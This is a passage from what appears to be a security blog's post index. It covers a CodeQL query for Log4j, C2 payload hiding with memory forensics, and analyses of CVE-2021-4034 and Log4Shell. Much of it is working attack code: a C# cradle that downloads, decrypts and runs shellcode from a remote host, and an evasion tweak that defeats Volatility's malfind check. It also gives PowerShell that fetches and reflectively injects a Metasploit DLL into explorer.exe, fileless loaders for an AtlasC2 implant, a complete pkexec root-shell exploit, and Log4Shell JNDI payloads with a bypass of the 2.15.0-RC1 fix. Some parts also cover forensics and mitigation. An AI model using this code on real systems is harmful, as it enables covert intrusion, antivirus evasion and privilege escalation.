PrimitiveType or node.getType() instanceof BoxedType } override predicate isAdditionalTaintStep(DataFlow::Node node1, DataFlow::Node node2) { any(JndiInjectionAdditionalTaintStep c).step(node1, node2) }}class Log4jFlowSource extends DataFlow::Node{ Log4jFlowSource(){ this.asParameter().getCallable().hasName("logIfEnabled") and ( this.asParameter().hasName("message") or this.asParameter().hasName("messageSupplier") ) }}from DataFlow::PathNode source, DataFlow::PathNode sink, JndiInjectionFlowConfigInLog4j confwhere conf.hasFlowPath(source, sink)select sink.getNode(), source, sink, "JNDI lookup might include name from $@.", source.getNode(), "this user input" ReferencesCodeQL CWE Coverage: https://codeql.github.com/codeql-query-help/codeql-cwe-coverage/ CodeQL query help for Java: https://codeql.github.com/codeql-query-help/java/ CodeQL Repository: https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE","link":"/Experience/Using-CodeQL-to-find-out-Log4j-CVE-2021-44228/"},{"title":"C2 Payload Hiding and Memory Forensics","text":"There is a common method to execute a malicious payload in a download cradle to bypass the antivirus’ detection. Here I’m going to show you how to use volatility to perform memory forensics and extract malicious payloads from memory. Prerequisite Havoc Framework Metasploit Framework AtlasC2 Visual Studio dnSpy Memory Forensics with Shellcode CradleAt the first, use the payload generator to generate a shellcode and encrypt it with AES. the encrypted payload is stored in “payload.jpeg” which will be rendered with the HTTP server, and put the IV and key into the Cradle code. My Custom Cradle12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061using System;using System.IO;using System.Net;using System.Runtime.InteropServices;using System.Security.Cryptography;using System.Text;namespace Cradle1{ internal static class Program { [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); static string DecryptStringFromBytes_Aes(byte[] cipherText, byte[] Key, byte[] IV) { if (cipherText == null || cipherText.Length <= 0) throw new ArgumentNullException("cipherText"); if (Key == null || Key.Length <= 0) throw new ArgumentNullException("Key"); if (IV == null || IV.Length <= 0) throw new ArgumentNullException("IV"); string plaintext = null; using (Aes aesAlg = Aes.Create()) { aesAlg.Key = Key; aesAlg.IV = IV; ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV); using (MemoryStream msDecrypt = new MemoryStream(cipherText)) { using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read)) { using (StreamReader srDecrypt = new StreamReader(csDecrypt)) { plaintext = srDecrypt.ReadToEnd(); } } } } return plaintext; } [STAThread] static void Main() { var client = new WebClient(); var encrypted = client.DownloadString("http://192.168.2.2:1888/payload.jpeg"); var byteBuf = Convert.FromBase64String(encrypted); var key = Convert.FromBase64String("eYkR/wkF3FKtODdZk66SgW6lDLw4iIYrHcwE6Ei2vxk="); var IV = Convert.FromBase64String("8T/TtAHKPkPe7UIC+PsBGg=="); var res = Encoding.GetEncoding("ISO-8859-1").GetBytes(DecryptStringFromBytes_Aes(byteBuf, key, IV)); IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)res.Length, 0x3000, 0x40); Marshal.Copy(res, 0, addr, res.Length); IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(hThread, 0xFFFFFFFF); } }} Forensics with Volatility 3After using DumpIt.exe or anything you like to exact the full memory dump, we can use volatility to perform forensics. Validate Image1python volatility3/vol.py -f memory_dump.raw windows.info 123456789101112131415161718192021222324Volatility 3 Framework 2.4.2Progress: 100.00 PDB scanning finished Variable ValueKernel Base 0xf8061cc17000DTB 0x1ad000...Is64Bit TrueIsPAE Falselayer_name 0 WindowsIntel32ememory_layer 1 FileLayerKdVersionBlock 0xf8061d826388Major/Minor 15.19041MachineType 34404KeNumberProcessors 2SystemTime 2023-03-09 05:23:04NtSystemRoot C:\\WindowsNtProductType NtProductWinNtNtMajorVersion 10NtMinorVersion 0PE MajorOperatingSystemVersion 10PE MinorOperatingSystemVersion 0PE Machine 34404... It looks volatility works well with this image Check Process Tree1python volatility3/vol.py -f memory_dump.raw windows.pstree 1234567891011121314151617181920212223242526272829303132PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime4 0 System 0xd30ee5482080 139 - N/A False 2023-03-09 04:44:09.000000 N/A* 312 4 smss.exe 0xd30ee81ea040 2 - N/A False 2023-03-09 04:44:09.000000 N/A* 1576 4 MemCompression 0xd30ee9eb4040 26 - N/A False 2023-03-09 04:44:12.000000 N/A* 92 4 Registry 0xd30ee54e9080 4 - N/A False 2023-03-09 04:44:04.000000 N/A520 500 csrss.exe 0xd30ee893e080 11 - 1 False 2023-03-09 04:44:10.000000 N/A608 500 winlogon.exe 0xd30ee89c8080 3 - 1 False 2023-03-09 04:44:10.000000 N/A* 816 608 fontdrvhost.ex 0xd30ee9a59080 5 - 1 False 2023-03-09 04:44:11.000000 N/A* 992 608 LogonUI.exe 0xd30ee9d37080 10 - 1 False 2023-03-09 04:44:11.000000 N/A* 1000 608 dwm.exe 0xd30ee9d39080 13 - 1 False 2023-03-09 04:44:11.000000 N/A4076 4068 csrss.exe 0xd30eeab87140 12 - 2 False 2023-03-09 04:46:59.000000 N/A1256 4068 winlogon.exe 0xd30eea6c2080 6 - 2 False 2023-03-09 04:46:59.000000 N/A* 2800 1256 dwm.exe 0xd30eea704240 15 - 2 False 2023-03-09 04:47:00.000000 N/A* 4604 1256 userinit.exe 0xd30eebadf080 0 - 2 False 2023-03-09 04:47:02.000000 2023-03-09 04:47:38.000000 ** 4620 4604 explorer.exe 0xd30eebaf8080 75 - 2 False 2023-03-09 04:47:02.000000 N/A*** 5508 4620 a.exe 0xd30ee8494080 14 - 2 False 2023-03-09 05:22:18.000000 N/A*** 6884 4620 OneDrive.exe 0xd30eebcb0080 19 - 2 True 2023-03-09 04:47:29.000000 N/A*** 4776 4620 powershell.exe 0xd30eec77a080 13 - 2 False 2023-03-09 05:04:21.000000 N/A**** 3668 4776 conhost.exe 0xd30eebbbd080 4 - 2 False 2023-03-09 05:04:21.000000 N/A*** 620 4620 msedge.exe 0xd30eec1c9080 28 - 2 False 2023-03-09 04:51:24.000000 N/A**** 4544 620 msedge.exe 0xd30eec8bd340 7 - 2 False 2023-03-09 04:51:24.000000 N/A**** 6816 620 msedge.exe 0xd30eebbfa080 14 - 2 False 2023-03-09 04:51:25.000000 N/A**** 4480 620 msedge.exe 0xd30eec6aa080 13 - 2 False 2023-03-09 04:53:04.000000 N/A**** 4992 620 msedge.exe 0xd30eec7df0c0 12 - 2 False 2023-03-09 05:07:46.000000 N/A**** 3564 620 msedge.exe 0xd30eec086080 13 - 2 False 2023-03-09 05:00:49.000000 N/A**** 6840 620 msedge.exe 0xd30eebf52080 11 - 2 False 2023-03-09 04:51:25.000000 N/A**** 1788 620 msedge.exe 0xd30eebcca300 8 - 2 False 2023-03-09 04:51:25.000000 N/A*** 5172 4620 DumpIt.exe 0xd30eeb9e6080 3 - 2 True 2023-03-09 05:22:56.000000 N/A**** 5432 5172 conhost.exe 0xd30eeb9110c0 6 - 2 False 2023-03-09 05:22:56.000000 N/A*** 6392 4620 vmtoolsd.exe 0xd30eec0b22c0 6 - 2 False 2023-03-09 04:47:27.000000 N/A* 2572 1256 fontdrvhost.ex 0xd30eeab8e140 5 - 2 False 2023-03-09 04:47:00.000000 N/A We can find our suspicious process is a child process of “explorer.exe” and the PID of it is 5508. There will be a lot of approach to determine whether a process is suspicious like EDR or dubious inheritance. Locate Injected CodeCheck injected with following command 1python volatility3/vol.py -f memory_dump.raw windows.malfind.Malfind --pid 5508 According to the result, we can see it found several injected code because they have PAGE_EXECUTE_READWRITE protection 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566PID Process Start VPN End VPN Tag Protection CommitCharge PrivateMemory File output Hexdump Disasm5508 a.exe 0x1f4510e0000 0x1f4510effff VadS PAGE_EXECUTE_READWRITE 2 1 Disabled00 00 00 00 00 00 00 00 ........ef da 1c 5e 56 c0 00 01 ...^V...ee ff ee ff 02 00 00 00 ...........0x1f4510e0000: add byte ptr [rax], al0x1f4510e0002: add byte ptr [rax], al0x1f4510e0004: add byte ptr [rax], al0x1f4510e0006: add byte ptr [rax], al0x1f4510e0008: out dx, eax...5508 a.exe 0x1f450ed0000 0x1f450ee0fff VadS PAGE_EXECUTE_READWRITE 17 1 Disabled56 48 89 e6 48 83 e4 f0 VH..H...48 83 ec 20 e8 0f 00 00 H.......00 48 89 f4 5e c3 66 2e .H..^.f....0x1f450ed0000: push rsi0x1f450ed0001: mov rsi, rsp0x1f450ed0004: and rsp, 0xfffffffffffffff00x1f450ed0008: sub rsp, 0x200x1f450ed000c: call 0x1f450ed00200x1f450ed0011: mov rsp, rsi0x1f450ed0014: pop rsi...5508 a.exe 0x1f451030000 0x1f45103ffff VadS PAGE_EXECUTE_READWRITE 16 1 Disabled4c 8b d1 b8 02 00 00 00 L.......49 bb f2 dd 3c f0 fb 7f I...<...00 00 41 ff e3 c3 00 00 ..A........0x1f451030000: mov r10, rcx0x1f451030003: mov eax, 20x1f451030008: movabs r11, 0x7ffbf03cddf20x1f451030012: jmp r110x1f451030015: ret0x1f451030016: add byte ptr [rax], al0x1f451030018: add byte ptr [rax], al0x1f45103001a: add byte ptr [rax], al...5508 a.exe 0x1f451080000 0x1f45108ffff VadS PAGE_EXECUTE_READWRITE 2 1 Disabled00 00 00 00 00 00 00 00 ........11 6d d2 d9 da 56 00 01 .m...V..ee ff ee ff 02 00 00 00 ...........0x1f451080000: add byte ptr [rax], al0x1f451080002: add byte ptr [rax], al0x1f451080004: add byte ptr [rax], al0x1f451080006: add byte ptr [rax], al...5508 a.exe 0x7ff4a8c00000 0x7ff4a8c9ffff VadS PAGE_EXECUTE_READWRITE 2 1 Disabledd8 ff ff ff ff ff ff ff ........08 00 00 00 00 00 00 00 ...........5508 a.exe 0x7ff4a8bf0000 0x7ff4a8bfffff VadS PAGE_EXECUTE_READWRITE 1 1 Disabled00 00 00 00 00 00 00 00 ........78 0d 00 00 00 00 00 00 x..........0x7ff4a8bf0000: add byte ptr [rax], al0x7ff4a8bf0002: add byte ptr [rax], al0x7ff4a8bf0004: add byte ptr [rax], al0x7ff4a8bf0006: add byte ptr [rax], al0x7ff4a8bf0008: js 0x7ff4a8bf00170x7ff4a8bf000a: add byte ptr [rax], al0x7ff4a8bf000c: add byte ptr [rax], al... Obviously, our malicious code has been located, it’s easy to be extracted with option “–dump”. Try to bypass the MalfindHowever, can we bypass this check? let’s check the source code of volatility, here we can find it. 12345write_exec = "EXECUTE" in protection_string and "WRITE" in protection_string# the write/exec check applies to everythingif not write_exec: continue Obviously, if we change the protection to PAGE_EXECUTE_READ after writing, we can bypass this detection. Just add this after copy 12345IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)res.Length, 0x3000, 0x04);Marshal.Copy(res, 0, addr, res.Length);uint old;VirtualProtect(addr, (uint)res.Length, 0x20, out old);IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); However, while using malfind, it still can locate injected code and marked as PAGE_EXECUTE_READWRITE. Why? I think that’s caused by the VirtualProtect, it just modified the permission of virtual memory page, but the volatility could check the actual physical memory page. (I haven’t confirmed this suppose). Memory Forensics with Reflectively Injected AssemblyAs we can see, Malfind could locate the injected code because these code locate at writable and executable memory page. If we load an unmanaged assembly reflectively and hide it out of our cradle process, it will be much harder to find it. Use Invoke-ReflectivePEInjection.ps1 to inject assemblyIn this section we will use Invoke-ReflectoivePEInjection.ps1 to inject an assembly into an existed process reflectively, but because of the multiple instances of GetProcAddress in UnsafeNativeMethods, we have to modify it so that it could works in latest Windows 10. The modified one I used is here: https://github.com/4xpl0r3r/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1 123456wget "http://192.168.209.1:5555/Invoke-ReflectivePEInjection.ps1" -o Invoke-ReflectivePEInjection.ps1Import-Module "C:\\Users\\Admin\\Desktop\\Invoke-ReflectivePEInjection.ps1"$procid = (Get-Process -Name explorer).Id$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.209.1:5555/met.dll')Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procidecho $procid I tried Havoc demon with dll format here, but it caused explorer.exe crashed, so I used Metasploit payload here and it works well The exception VoidFunc not found doesn’t affect our payload’s functionality, because our payload executed during loading. Check the pid, we found the pid of meterpreter is different from the pid of the explorer Forensics with Volatility 3Check Process Tree1python ~/Tool\\ Set.localized/Forensics/volatility3/vol.py -f memdump1.raw windows.pstree 126072 5992 explorer.exe 0xdd83351cb340 53 - 2 False 2023-03-13 05:11:55.000000 N/A* 3952 6072 rundll32.exe 0xdd8332854080 1 - 2 False 2023-03-13 05:16:26.000000 N/A Because our payload is in the DllEntryPoint Function, so it actually runs in rundll32.exe process, which is very suspicious and we can easily dump it from this rundll32.exe process. Hide deeper by fully leveraging Invoke-ReflectivePEInjection.ps1By reviewing Invoke-ReflectivePEInjection.ps1, the exception we meet is shown as below and we can found that we can create a function called VoidFunc and it will be ran as a new thread in the remote process. Cause it will be a new thread, not a process, it could be more unsuspicious, but we have to modify the generating code to make it store the malicious payload in VoidFunc part, rather than DllEntryPoint Part. Memory Forensics with .Net Framework Dynamically Loaded Managed AssemblyRecently, I analyzed a cradle developed by the Mallox ransomware organization. The cradle is developed with C# and it uses AppDomain.Load to load an assembly into managed memory, which is very stealthy. Prepare AtlasC2Here I used AtlasC2 to generate Implant. To make it work, I modified several code section for Implant as below Program.cs function Main 1234567891011121314151617181920static void Main(string[] args) { //Thread.Sleep(10000); Process.GetCurrentProcess().PriorityClass = ProcessPriorityClass.Idle; GenImplantData(); ImplantCommandsInit(); _comms = new HTTPComms("192.168.209.1", 8089); // your listener _comms.ImplantInit(_implantData); _comms.Start(); _cancelToken = new CancellationTokenSource(); while (!_cancelToken.IsCancellationRequested) { Thread.Sleep(1000); if (_comms.DataRecv(out var tasks)) { HandleTasks(tasks); } }} Utils/ImplantDataUtils.cs functionGetHostIP The original code may cause exception and end the program when the Internet is not accessible. 12345678910111213141516public static string GetHostIP(){ using (Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, 0)) { try { socket.Connect("8.8.8.8", 65530); IPEndPoint endPoint = socket.LocalEndPoint as IPEndPoint; return (endPoint.Address.ToString()); } catch(System.Net.Sockets.SocketException e) { return ("Internal Network"); } }} After compiling, we got the Implant ready, the Team server running and listening. Custom Managed Cradle I recommend you to compile the cradle with the same target .net framework with Implant 12345678910static void Main(){ var client = new WebClient(); var assemblyData = client.DownloadData("http://192.168.209.1:5555/Implant.exe"); var ass = AppDomain.CurrentDomain.Load(assemblyData); Type entryType = ass.GetType("Implant.Program"); MethodInfo method = entryType.GetMethod("Main", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic); var args= new object[] { new string[] { } }; method.Invoke(null, args);} Forensics with Volatility 3Check Process Tree1python volatility3/vol.py -f memdump2.raw windows.malfind.Malfind --pid 5572 As we can see, there isn’t any sub process for ManagedCradle.exe Check Malfind1python volatility3/vol.py -f memdump2.raw windows.pstree Found 2 pieces suspicious, let’s try to remove our cradle code and run again. 123var client = new WebClient();var assemblyData = client.DownloadData("http://192.168.209.1:5555/Implant.exe");Thread.Sleep(10000); It’s similar, so we can treat it as normal. Check Dll List1python volatility3/vol.py -f memdump2.raw windows.dlllist.DllList --pid 5572 Generated a large list, it’s hard to confirm whether a dll is suspicious. Maybe analyze them one by one can help us found the malicious one, but it’s too hard. What is the best way to locate the threats hidden in managed memory?C# and .Net Framework is similar to Java, so the best way to track loaded assembly is using the interfaces that offered by .Net Framework itself, like I analyzed in https://cn.4xpl0r3r.com/%E6%8A%80%E6%9C%AF%E5%BD%92%E7%BA%B3/JavaWeb-%E5%86%85%E5%AD%98%E9%A9%AC%E6%8A%80%E6%9C%AF%E5%BD%92%E7%BA%B3/ Load Managed Assembly in PowerShellAccording to the analyzing above, we know that loading the malicious assembly into managed memory is a good way to hide. In this section, I will use PowerShell to replace the C# cradle so that there will be no file in the disk. My PowerShell Cradle123456$assemblyData = (New-Object System.Net.WebClient).DownloadData('http://192.168.209.1:5555/Implant.exe')$ass = [AppDomain]::CurrentDomain.Load($assemblyData);$entryType = $ass.GetType("Implant.Program");$method = $entryType.GetMethod("Main",[System.Reflection.BindingFlags]::Static -bor [System.Reflection.BindingFlags]::NonPublic);$args = @(,[System.String[]]@())$method.Invoke($null,$args) Pros and ConsRunning this, our malicious implant can hide in the AppDomain of current PowerShell process, having several pros listed below No suspicious memory section No suspicious native DLL No file in disk Also, cons listed below: May be influenced by AMSI PowerShell command history could be reviewed in Windows Event Log","link":"/Red-Blue/C2-Payload-Hiding-and-Memory-Forensics/"},{"title":"Vulnerability-Analysis - CVE-2021-4034 Linux Polkit Privilege Escalation","text":"The major reference: Qualys’ Advisory This article is also available in 简体中文. Vulnerabilty Profile2022-01-25,The Exploit details of CVE-2021-4034 released, the vulnerabilty is found by Qualys Security Team in the pkexec , which is a component of the polkit suite. pkexec application is a tool to set uid, allowing a common user to execute a command as a privileged user according to a pre-defined policy. All mainstream Linux systems have this tool installed in default, and it’s executable has SUID bit set to work. All pkexec versions since the first version in May 2009 are vulnerable to this. The commit: Add a pkexec(1) command (c8c3d835) · Commits · polkit / polkit · GitLab Due to the widespread use of pkexec, the exploit of this vulnerability works in nearly all current Linux distributions with a wide range of effectiveness Vulnerabilty AnalysisPlease read the offical advisory: Qualys’ Advisory In summary, we need 2 environment variable to exploit the vulnerabilty. First one is set to a arbitrary string, such as x, the second one is set to PATH=GCONV_PATH=., which will be concat with /x and the command to execute will become GCONV_PATH=./x. After running GCONV_PATH=./x, we reintroduced an insecure environment which leads to privilege escalation. The ExploitI installed a Ubuntu 20.04, and found the version of its pkexec is 0.105, which is vulnerable. Firstly, we need to build a evil shared library, which is used to obtain the privileged shell. The code is as shown below 1234567#include <stdlib.h>#include <unistd.h>void gconv() {}void gconv_init() { setuid(0); seteuid(0); setgid(0); setegid(0); system("PATH=/bin:/usr/bin:/sbin /bin/sh");} Build it 1gcc -shared -fPIC payload.c -o payload.so The exploit the LC_MESSAGES is used to set the charset set the XAUTHORITY to a illegal value to skip the normal execution, we only need the log function to exploit the vulnerabilty. 1234567891011121314151617181920212223#include <stdio.h>#include <unistd.h>#include <sys/stat.h>int main() { char* _argv[]={ NULL }; char* _envp[]={ "x", "PATH=GCONV_PATH=.", "LC_MESSAGES=en_US.UTF-8", "XAUTHORITY=..", NULL }; mkdir("GCONV_PATH=.", 0777); mkdir("x", 0777); FILE *fp = fopen("x/gconv-modules", "wb"); fprintf(fp, "module UTF-8// INTERNAL ../payload 2\\n"); fclose(fp); fp = fopen("GCONV_PATH=./x", "wb"); fclose(fp); chmod("GCONV_PATH=./x",0777); execve("/usr/bin/pkexec", _argv, _envp);} Build it 1gcc exploit.c -o exp.out Run ./exp.out and you will get the privileged shell. Fix the VulnerabiltyThe modification: pkexec: local privilege escalation (CVE-2021-4034) (a2bf5c9c) · Commits · polkit / polkit · GitLab As we can see, if the value of argc is less than 1, the program will exit directly.","link":"/Vuln-Analysis/Vulnerability-Analysis-CVE-2021-4034-Linux-Polkit-Privilege-Escalation/"},{"title":"Vulnerability Analysis - CVE-2021-44228 Log4Shell","text":"Using Java 8u181 This article is also available in 简体中文. Vulnerability ProfileApache Log4j2 is a logging tool. Because Apache Log4j2 offers some functions that could parse recursively, an attacker can directly construct a malicious request to trigger the remote code execution.The vulnerability works with default configuration. Verified by the Ali Cloud security team, It is affected for Apache Struts2, Apache Solr, Apache Druid, Apache Flink, etc. All systems running Apache log4j2 2.0-beta9 through 2.14.1 are vulnerable. If the Java application imports the log4j-core, it is most likely to be affected. The ExploitThe Exploit CodeUse the maven to build a project to trigger the vulnerability and import the org.apache.logging.log4j module which version is 2.14.1 . If the logger uses a recordable level to log the payload , the vulnerability will be triggered. The trigger code is as shown below. 12345678import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class Main { private static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { logger.error("${jndi:ldap://ip:1389/#Exploit}123"); }} Use the code shown below to build a class file used by JNDI 123456789101112131415161718192021222324252627282930313233343536import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.Reader;public class Exploit{ public Exploit() throws IOException,InterruptedException{ String cmd="curl 127.0.0.1:5555"; final Process process = Runtime.getRuntime().exec(cmd); printMessage(process.getInputStream());; printMessage(process.getErrorStream()); int value=process.waitFor(); System.out.println(value); } private static void printMessage(final InputStream input) { new Thread (new Runnable() { @Override public void run() { // TODO Auto-generated method stub Reader reader =new InputStreamReader(input); BufferedReader bf = new BufferedReader(reader); String line = null; try { while ((line=bf.readLine())!=null) { System.out.println(line); } }catch (IOException e){ e.printStackTrace(); } } }).start(); }} Compile the code to get the .class file. The construction method will be run by JNDI. Trigger the vulnerabilityIt’s typical JNDI Injection progress. Firstly, move the .class file to a web server, and then, make use of marshalsec to set up JNDI and LDAP service, the command is as shown below 1java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/#Exploit Analysis of the VulnerabiltyAnalysis of the source codeAs we all know, the exploit is working with JNDI, so we make a breakpoint in the constrution method of javax.naming.InitialContext . The source code is located in rt.jar/javax/naming/InitialContext.java After running the trigger code, the execution will be paused at the breakpoint. The calling stack is as shown below It’s obviously that if we want to exploit with JNDI, there must be a calling for lookup method, so let’s trace reversely form JndiLookup.look(). To determine where is the code that focus to the payload ${jndi:ldap://127.0.0.1:1389/#Exploit}, we can add some junk into the logging message. Running the trigger again, we can find that the substitute methond deferenced AAAAA${jndi:ldap://127.0.0.1:1389/#Exploit}BBBBB into ${jndi:ldap://127.0.0.1:1389/#Exploit}. Apart from this, we can find there is a method called resolveVariable which is using to parse variable wrapper with ${}. Keep tracing, we can find a piece of code as below We can find that if it meet the variable starting with ${, the code will replace it with the resolved variable. Going deeperLog4j2 has 3 major components. Logger - log the message Appender - output the message Layout - format the message Keep tracing the calling stack, we can find that log4j2 use LoggerConfig.processLogEvent() to resolve logging event, use callAppenders() to call Appender to ouput the message. The function of Appender is transfer the logging event to the target. There are some commonly used Appender such as ConsoleAppender(output to the console), FileAppender(output to a file). It will use AppenderControl to gain the specific Appender. In this debug session, it is ConsoleAppender. The Appender uses the Layout to get the logging format, formats the logging message with Layout.encode(). The Layout will use formatters to finish the formating. The inputted message is resolved by MessagePatternConverter.format(), it’s a important part of the vulnerabilty. When the config is exist and the noLookups is false, if there is a ${' in the message, it will call workingBuilder.append() to get the StrSubstitutor to replace the variable with resolved one We can find there is a noLookups which is a value of configuration, the default value of it is the false. We will make use of it to temporarily fix the vulnerabilty later. Going forward, we can find the StrSubstitutor.resolveVariable() , it is used to resolve and parse, suporting the protocols incluing JNDI as below Mitigation - Disable Lookups with System configuration We can check the cross reference to determine where the noLookups was assigned, it is as below As a example, I add a line of code to change the system configration, it could also be set by command line or .properties configration file. 12345678910 import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;import java.lang.*;public class Main { public static void main(String[] args) { System.setProperty("log4j2.formatMsgNoLookups","true"); final Logger logger = LogManager.getLogger(); logger.error("AAAAA${jndi:ldap://127.0.0.1:1389/#Exploit}BBBBBB"); }} Run the trigger code again, we can find that ${jndi:ldap://127.0.0.1:1389/#Exploit} won’t be parsed Mitigation - Disable Lookups with Log4j Configuration In my opinion, it’s the best way to protect the system without upgrading The official documet: Log4j – Configuring Log4j 2 (apache.org) The MVP(Minimum Viable Product) of configuration in XML is as shown below. 12345678910111213<?xml version="1.0" encoding="UTF-8"?><Configuration> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="[%t] %-5level %m{nolookups} %n"/> </Console> </Appenders> <Loggers> <Root level="info"> <AppenderRef ref="Console"/> </Root> </Loggers></Configuration> Apart from XML, the Log4j also support other formats such as json. Thinking - Why the Log4j2 needs the capability of JNDIAfter checking the official documents Log4j – Configuring Log4j 2 - Apache Log4j 2,I found the Property Substitution function, it offers the capability to retrieve attributes remotely to make the logging information more abundant Because the developers didn’t aware the potential harm, the default value of noLookups was set to false and the source of JNDI wasn’t been restricted. Something elseThe common false positiveMany tester determine if the system is vulnerable to the CVE-2021-44228 by checking the DNS request, it’s not rigorous. Many Public Service could send the DNS request for the domian in the payload to take spam intercepting or any else, so the DNS request can’t be the evidence of vulnerabilty. There is a better method to check, just insert the ${sys:java.version} into the subdomain, it will be much more accurate. How to defense Upgrade the log4j2 Disable Lookups with System configuration Disable Lookups with Log4j Configuration The official fixing https://logging.apache.org/log4j/2.x/changes-report.html As shown above, in Release 2.15.0, it disabled the lookups by default and limit the servers and classes that can be accessed via LDAP. What’s more, In release 2.16.0, disable JNDI by default. Require log4j2.enableJndi to be set to true to allow JNDI and completely remove support for Message Lookups. The Bypassing in log4j 2.15.0-RC1CompilingBecause the 2.15.0-RC1 don’t exist in the maven repository, we have to get the source code from GitHub and compile it manually. Tags · apache/logging-log4j2 (github.com) According to the README.md, configure the jdk in the toolschains files and we only need the packages for jdk1.8, so just comment out the others. Because we don’t need all the modules, modify the modules in pom.xml as shown below 12345678910111213141516171819202122232425262728293031323334353637<modules> <!-- <module>log4j-api-java9</module> --> <module>log4j-api</module> <!-- <module>log4j-core-java9</module> --> <module>log4j-core</module> <!-- <module>log4j-layout-template-json</module> <module>log4j-core-its</module> <module>log4j-1.2-api</module> <module>log4j-slf4j-impl</module> <module>log4j-slf4j18-impl</module> <module>log4j-to-slf4j</module> <module>log4j-jcl</module> <module>log4j-flume-ng</module> <module>log4j-taglib</module> <module>log4j-jmx-gui</module> <module>log4j-samples</module> <module>log4j-bom</module> <module>log4j-jdbc-dbcp2</module> <module>log4j-jpa</module> <module>log4j-couchdb</module> <module>log4j-mongodb3</module> <module>log4j-mongodb4</module> <module>log4j-cassandra</module> <module>log4j-web</module> <module>log4j-jakarta-web</module> <module>log4j-perf</module> <module>log4j-iostreams</module> <module>log4j-jul</module> <module>log4j-jpl</module> <module>log4j-liquibase</module> <module>log4j-appserver</module> <module>log4j-osgi</module> <module>log4j-docker</module> <module>log4j-kubernetes</module> <module>log4j-spring-boot</module> <module>log4j-spring-cloud-config</module> --></modules> To compile, the maven command to run is as below 12# set the env variable JAVA_HOME to the path of jdk1.8./mvnw clean install -t toolchains-sample-mac.xml -Dmaven.test.skip=true # skip tests to accelerate The generated artifacts (.jar) will be in the target directory of every module. Analysis of the source codeFirstly, change the version of log4j to 2.15.0 in the pom.xml, replace the packages .jar with the generated before. Because it disabled the lookups by default in 2.15.0, we have to enable it with configuration. Modify or create the log4j2.xml 12345678910111213<?xml version="1.0" encoding="UTF-8"?><Configuration> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="[%t] %-5level %m{lookups} %n"/> </Console> </Appenders> <Loggers> <Root level="info"> <AppenderRef ref="Console"/> </Root> </Loggers></Configuration> Now, the payload as below will be parsed 1${sys:java.version} However, the payload for JNDI won’t be parsed 1${jndi:ldap://ip:1389/#Exploit} We know that the variable could be resolved but the JNDI has been restricted, let’s have a check with the process of variable resolving. Focus on StrSubstitutor.resolveVariable() Step into the lookup() We can find that the JNDI could be resolved as before, step into the lookup() again and check what is restricting the JNDI. Step into the lookup() of jndiManager We can find there are some restrictions about the protocol and source. As we found, the source has been restricted to some local IP, let’s assume that the restrict about source won’t afffect us as we are testing locally. Apart from this, we can find that the LDAP protocol is permitted. We can find that the Reference Object have been forbidden by attributeMap.get(OBJECT_FACTORY)!=null Apart from this, the another way to exploit with JNDI, deserialization, has been restricted too, it limited the classes to some basic type with allowedClasses as below Although it looks like perfect, but there is a vulnerability in the logic of exception handling If there is a URI with some error in syntax, it will skip all the assessment and execution will arrive the JNDI lookup.But, how to have a URI which have some error in syntax but could work as intended? Just add a space that didn’t encoded by urlencode as below 1${jndi:ldap://127.0.0.1:1389/# Exploit} Run the trigger code again, we can find that the command in exploit code works. Summary of the Bypassing The LookUps have to be enabled by developer The source of LDAP have to be in the permit list, but the permit list only contains some local address by default References Log4j Vulnerability (Log4Shell) Explained // CVE-2021-44228 - YouTube https://logging.apache.org/log4j/2.x/changes-report.html https://paper.seebug.org/1786/ https://www.anquanke.com/post/id/262668 Log4j – Configuring Log4j 2 (apache.org) https://xz.aliyun.com/t/10649#toc-2 JNDI with LDAP Serializable Objects (oracle.com) Referenceable Objects and References (oracle.com) https://www.icode9.com/content-4-1253127.html","link":"/Vuln-Analysis/Vulnerability-Analysis-CVE-2021-44228-Log4Shell/"}],"tags":[{"name":"OffSec","slug":"OffSec","link":"/tags/OffSec/"},{"name":"PWN","slug":"PWN","link":"/tags/PWN/"},{"name":"CTF","slug":"CTF","link":"/tags/CTF/"},{"name":"Environment","slug":"Environment","link":"/tags/Environment/"},{"name":"Network","slug":"Network","link":"/tags/Network/"},{"name":"Troubleshooting","slug":"Troubleshooting","link":"/tags/Troubleshooting/"},{"name":"CVE","slug":"CVE","link":"/tags/CVE/"},{"name":"Java","slug":"Java","link":"/tags/Java/"},{"name":"JNDI","slug":"JNDI","link":"/tags/JNDI/"},{"name":"CodeQL","slug":"CodeQL","link":"/tags/CodeQL/"},{"name":"Red Teaming","slug":"Red-Teaming","link":"/tags/Red-Teaming/"},{"name":"Blue 